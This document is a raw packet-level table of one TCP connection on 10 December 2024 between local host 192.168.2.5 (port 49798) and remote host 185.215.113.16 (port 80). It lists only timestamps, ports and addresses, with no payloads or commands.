Dec 10, 2024 02:50:48.542069912 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.542114019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.543040991 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.543088913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.543157101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.543206930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.544141054 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.544186115 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.544265985 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.544313908 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.545217037 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.545267105 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.545332909 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.545380116 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.546344042 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.546395063 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.546449900 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.546499014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.547442913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.547489882 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.547574997 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.547625065 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.548532009 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.548582077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.548650980 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.548698902 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.549640894 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.549688101 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.549761057 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.549808979 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.550873995 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.550931931 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.551004887 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.551054001 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.551842928 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.551892996 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.551924944 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.551966906 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.552906036 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.552954912 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.553045034 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.553093910 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.554025888 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.554075003 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.554147959 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.554197073 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.555097103 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.555144072 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.555241108 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.555288076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.556190968 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.556236982 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.556339025 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.556385994 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.557281971 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.557323933 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.557395935 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.557442904 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.558527946 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.558634996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.558690071 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.559473038 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.559523106 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.559597015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.559643984 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.560646057 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.560693979 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.560762882 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.560805082 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.561687946 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.561731100 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.561789036 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.561832905 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.562805891 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.562853098 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.562890053 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.562932014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.563882113 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.563930035 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.563996077 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.564039946 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.564992905 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.565038919 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.565095901 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.565140009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.566103935 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.566154003 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.566191912 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.566231012 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.567167044 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.567214012 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.567255974 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.567305088 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.568253994 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.568300009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.568368912 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.568416119 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.569333076 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.569380999 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.569462061 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.569514036 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.570434093 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.570482016 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.570553064 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.570595026 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.571543932 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.571590900 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.571639061 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.571682930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.572628975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.572674990 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.572712898 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.572758913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.573729992 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.573772907 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.573853016 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.573903084 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.574817896 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.574866056 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.574930906 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.574976921 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.575925112 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.575969934 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.576066971 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.576111078 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.577054024 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.577100039 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.577167034 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.577213049 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.578262091 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.578308105 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.578609943 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.578654051 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.579214096 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.579260111 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.579322100 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.579389095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.580300093 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.580353022 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.580404997 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.580455065 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.581387997 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.581439018 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.581490993 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.581533909 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.582511902 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.582617998 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.582626104 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.582672119 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.583590984 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.583652020 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.583683968 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.583731890 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.719301939 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.719397068 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.719402075 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.719451904 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.719753981 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.719810009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.719844103 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.719888926 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.720618010 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.720662117 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.720762014 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.720807076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.721709013 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.721752882 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.721820116 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.721865892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.722788095 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.722835064 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.722922087 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.722964048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.723890066 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.723938942 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.724025965 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.724069118 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.724971056 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.725019932 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.725091934 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.725140095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.726073027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.726116896 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.726178885 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.726219893 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.727185965 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.727232933 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.727264881 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.727308989 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.728266954 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.728313923 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.728378057 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.728427887 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.729347944 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.729408979 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.729475975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.729521990 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.730514050 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.730561972 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.730638981 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.730864048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.731601000 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.731647968 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.731684923 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.731731892 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.732640982 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.732687950 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.732753038 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.732803106 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.733793020 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.733841896 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.733906031 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.733958960 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.734839916 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.734886885 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.734942913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.734985113 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.735925913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.735974073 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.736028910 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.736073971 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.737046003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.737093925 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.737164021 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.737206936 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.738122940 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.738166094 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.738231897 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.738277912 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.739242077 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.739289999 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.739326000 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.739370108 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.740336895 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.740384102 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.740515947 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.740560055 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.741420984 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.741467953 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.741527081 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.741569996 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.742508888 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.742556095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.742613077 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.742647886 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.743673086 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.743721962 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.743767023 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.743808985 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.744693041 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.744767904 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.744801044 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.744844913 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.745846987 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.745893955 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.745958090 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.746007919 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.746885061 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.746934891 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.747000933 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.747047901 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.747982025 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.748030901 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.748101950 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.748148918 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.749114990 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.749162912 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.749306917 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.749353886 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.750297070 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.750343084 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.750421047 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.750467062 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.751276970 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.751332045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.751369953 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.751419067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.752383947 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.752433062 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.752480030 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.752521992 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.753460884 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.753509998 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.753566027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.753609896 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.754555941 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.754606009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.754673958 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.754719019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.755645037 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.755692005 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.755767107 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.755812883 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.756767988 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.756814957 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.756870031 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.756911039 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.757863045 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.757910967 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.757975101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.758027077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.758960009 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.759006977 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.759058952 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.759105921 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.760118008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.760165930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.760216951 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.760262966 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.761132956 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.761178970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.761226892 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.761272907 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.762228012 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.762275934 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.762345076 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.762392998 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.763449907 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.763525009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.763768911 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.763817072 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.764415979 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.764463902 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.764513016 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.764558077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.765516043 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.765566111 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.765631914 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.765677929 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.766623020 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.766668081 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.766716957 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.766762972 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.767719030 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.767767906 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.767911911 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.767955065 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.768810034 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.768857002 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.768925905 CET	80	49798	185.215.113.16	192.168.2.5
